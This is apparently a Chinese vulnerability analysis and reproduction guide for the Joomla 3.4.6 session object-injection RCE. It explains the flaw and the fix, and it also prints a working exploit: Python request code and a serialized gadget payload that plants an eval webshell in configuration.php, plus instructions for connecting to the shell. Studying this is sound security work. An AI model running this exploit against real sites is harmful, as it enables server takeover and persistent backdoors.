Joomla-3.4.6远程代码执行漏洞原理分析和Poc构造
字数 1572 2025-08-18 11:39:04
Joomla 3.0.0-3.4.6 远程代码执行漏洞分析与利用指南
漏洞概述
Joomla 3.0.0 至 3.4.6 版本存在一个严重的 PHP 对象注入漏洞,可导致远程代码执行(RCE)。该漏洞类似于 CVE-2015-8562,但尚未分配 CVE 编号。漏洞利用 Joomla 会话处理机制中的缺陷,通过精心构造的序列化对象实现代码执行。
影响范围
- Joomla 3.0.0 至 3.4.6 版本
- 发布时间:2012年9月末至2015年12月中旬
漏洞原理
会话处理机制缺陷
Joomla 会话以 PHP Objects 的形式存储在数据库中,由 PHP 会话函数处理。关键问题在于:
-
空字节处理问题:
libraries/joomla/session/storage/database.php中的write()函数在存储数据前会用空字符串('')替换空字节(\0\0\0)- 读取时
read()函数会尝试用\0\0\0替换回空字符串 - 这种替换导致3字节替换6字节,造成大小不一致
-
序列化对象溢出:
- 当包含空字节的字符串被处理后,会导致序列化对象的大小声明与实际内容不匹配
- 例如:
s:16:"my\0\0\0username"处理后变为s:16:"myusername"(实际长度不匹配)
对象注入与反序列化
通过控制 username 和 password 字段:
username字段用于触发溢出password字段注入恶意序列化对象
利用链涉及以下类:
JDatabaseDriverMysqli:析构函数调用disconnect()方法JSimplepieFactory:自动加载SimplePie类SimplePie:包含可被利用的回调函数
漏洞复现
环境搭建
-
下载 Joomla 3.4.6:
https://downloads.joomla.org/it/cms/joomla3/3-4-6 -
安装注意事项:
- 访问
http://127.0.0.1/Joomla/3.4.6/installation/index.php - 在安装步骤中选择"不安装示范数据"
- 访问
利用工具
POC 脚本地址:
https://github.com/SecurityCN/Vulnerability-analysis/blob/master/Joomla/Joomla3.4.6-RCE/Joomla-3.4.6-RCE.py
利用步骤
-
获取会话Cookie:
def get_cook(url): resp = requests.get(url) return resp.cookies -
获取CSRF Token:
def get_token(url, cook): resp = requests.get(url, cookies=cook) html = BeautifulSoup(resp.text, 'html.parser') csrf = html.find_all('input')[-1].get('name') return csrf -
构造Payload:
- WebShell Payload:
if(isset($_POST['scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay'])) eval($_POST['scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay']); - 序列化对象:
O:21:"JDatabaseDriverMysqli":3:{ s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{} s:21:"\0\0\0disconnectHandlers";a:1:{ i:0;a:2:{ i:0;O:9:"SimplePie":5:{ s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{} s:5:"cache";b:1; s:19:"cache_name_function";s:6:"assert"; s:10:"javascript";i:9999; s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']))eval($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']);', FILE_APPEND) || $a='http://wtf';"; } i:1;s:4:"init"; } } s:13:"\0\0\0connection";i:1; }
- WebShell Payload:
-
发送恶意请求:
def make_req(url, object_payload): cook = get_cook(url) csrf = get_token(url, cook) user_payload = '\\0\\0\\0' * 9 password_payload = 'AAA"' + object_payload + 's:6:"return";s:102:' params = { 'username': user_payload, 'password': password_payload, 'option': 'com_users', 'task': 'user.login', csrf: '1' } requests.post(url, cookies=cook, data=params) -
连接WebShell:
- 使用中国菜刀连接,密码为:
scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay - 或直接POST请求:
POST /configuration.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay=echo 'PWNED';
- 使用中国菜刀连接,密码为:
技术细节分析
关键类分析
-
JDatabaseDriverMysqli:
- 析构函数调用
disconnect() disconnect()中使用call_user_func_array调用处理程序
- 析构函数调用
-
SimplePie:
init()方法中包含两个call_user_func调用- 通过控制
cache_name_function和feed_url实现代码执行
利用链执行流程
- 反序列化触发
JDatabaseDriverMysqli析构 - 析构调用
disconnect()方法 disconnect()调用SimplePie的init方法init方法中的call_user_func执行恶意代码
修复建议
- 升级到最新版本 Joomla:
https://downloads.joomla.org - 3.4.7 及以后版本修复方式:
- 会话数据改为 base64 编码存储
- 避免了空字节处理问题
参考资源
- 漏洞分析原文:
https://cxsecurity.com/issue/WLB-2019100045 - PHITHON 的 Joomla 反序列化分析:
https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html - 代码及工具下载:
https://github.com/SecurityCN/Vulnerability-analysis/blob/master/Joomla/Joomla3.4.6-RCE
免责声明:本文所述漏洞利用方法仅用于安全研究学习,请遵守《网络安全法》等相关法律法规。